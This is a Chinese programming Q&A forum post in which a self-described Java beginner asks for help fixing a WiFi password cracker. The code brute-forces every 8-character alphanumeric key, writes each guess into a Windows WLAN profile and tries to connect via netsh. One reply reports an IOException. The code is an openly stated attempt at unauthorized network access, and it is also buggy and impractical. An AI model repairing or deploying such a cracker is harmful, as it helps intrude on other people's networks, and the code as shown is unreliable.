qq_43223876 2018-10-09 07:07 采纳率: 0%
浏览 2507

初学Java,想弄个WiFi破解的,但始终有些问题,各位大神麻烦帮我看下代码看看得修改哪里?

package com.flx.jxh.lx;

import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.Writer;
import java.util.Scanner;

public class ChongQiLuYou {
public static void main(String[] args) throws IOException {
@SuppressWarnings("resource")
Scanner in = new Scanner(System.in);
System.out.println("输入要连接的WiFi名:");
String a = in.next();
// 如何破解密码
String[] b = { "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "A",
"a", "b", "B", "C", "c", "d", "D", "e", "E", "f", "F", "g",
"G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L", "m",
"M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R", "s",
"S", "t", "T", "u", "U", "v", "V", "w", "W", "w", "W", "x",
"X", "y", "Y", "z", "Z" };
a:for (int i = 0; i < b.length; i++) {
for (int j = 0; j < b.length; j++) {
for (int j2 = 0; j2 < b.length; j2++) {
for (int k = 0; k < b.length; k++) {
for (int k2 = 0; k2 < b.length; k2++) {
for (int l = 0; l < b.length; l++) {
for (int l2 = 0; l2 < b.length; l2++) {
for (int m = 0; m < b.length; m++) {
String c = b[i] + b[j] + b[j2] + b[k]
+ b[k2] + b[l] + b[l2] + b[m];
String d = "&lt?xml version=\"1.0\"?&gt&ltWLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\"&gt&ltname&gt"
+ a
+ "&lt/name&gt"
+ "&ltSSIDConfig&gt"
+ " &ltSSID&gt"
+ " &lthex&gt6950686F6E65&lt/hex&gt"
+ " &ltname&gt"
+ a
+ "&lt/name&gt"
+ " &lt/SSID&gt"
+ "&lt/SSIDConfig&gt"
+ "&ltconnectionType&gtESS&lt/connectionType&gt"
+ "&ltconnectionMode&gtauto&lt/connectionMode&gt"
+ "&ltMSM&gt"
+ " &ltsecurity&gt"
+ " &ltauthEncryption&gt"
+ " &ltauthentication&gtWPA2PSK&lt/authentication&gt"
+ " &ltencryption&gtAES&lt/encryption&gt"
+ " &ltuseOneX&gtfalse&lt/useOneX&gt"
+ " &lt/authEncryption&gt"
+ " &ltsharedKey&gt"
+ " &ltkeyType&gtpassPhrase&lt/keyType&gt"
+ " &ltprotected&gtfalse&lt/protected&gt"
+ " &ltkeyMaterial&gt"
+ c
+ "&lt/keyMaterial&gt"
+ " &lt/sharedKey&gt"
+ " &lt/security&gt"
+ "&lt/MSM&gt"
+ "&ltMacRandomization xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v3\"&gt"
+ " &ltenableRandomization&gtfalse&lt/enableRandomization&gt"
+ " &ltrandomizationSeed&gt3759101657&lt/randomizationSeed&gt"
+ "&lt/MacRandomization&gt"
+ "&lt/WLANProfile&gt";
Writer writer = new FileWriter(
new File(
"C:\Users\flx\WLAN-"
+ a.toUpperCase()
+ ".xml"));
BufferedWriter bw = new BufferedWriter(
writer);
bw.write(d);
bw.close();
writer.close();
Runtime.getRuntime().exec("netsh wlan add profile filename=\"WLAN-"+a.toUpperCase()+".xml\"");
Process p = Runtime.getRuntime().exec(
"netsh wlan connect name=" + a
+ " ssid=" + a);
BufferedReader br = new BufferedReader(
new InputStreamReader(
p.getInputStream()));
int e = 1;
String f;
while (true) {
System.out.println(f=br.readLine());
if (f.equals("已成功完成连接请求。")) {
e = 0;
break;
}
}
if (e == 0) {
break a;
}
}
}
}
}
}
}
}
}
}
}

  • 写回答

2条回答 默认 最新

  • QQ玉 2018-10-09 08:34
    关注

    Runtime.getRuntime().exec("netsh wlan add profile filename=\"WLAN-"+a.toUpperCase()+".xml\"");这行代码报异常java.io.IOException: error=2, No such file or directory

    评论

报告相同问题?

悬赏问题

  • ¥15 C++使用Gunplot
  • ¥15 这个电路是如何实现路灯控制器的,原理是什么,怎么求解灯亮起后熄灭的时间如图?
  • ¥15 matlab数字图像处理频率域滤波
  • ¥15 在abaqus做了二维正交切削模型,给刀具添加了超声振动条件后输出切削力为什么比普通切削增大这么多
  • ¥15 ELGamal和paillier计算效率谁快?
  • ¥15 file converter 转换格式失败 报错 Error marking filters as finished,如何解决?
  • ¥15 Arcgis相交分析无法绘制一个或多个图形
  • ¥15 关于#r语言#的问题:差异分析前数据准备,报错Error in data[, sampleName1] : subscript out of bounds请问怎么解决呀以下是全部代码:
  • ¥15 seatunnel-web使用SQL组件时候后台报错,无法找到表格
  • ¥15 fpga自动售货机数码管(相关搜索:数字时钟)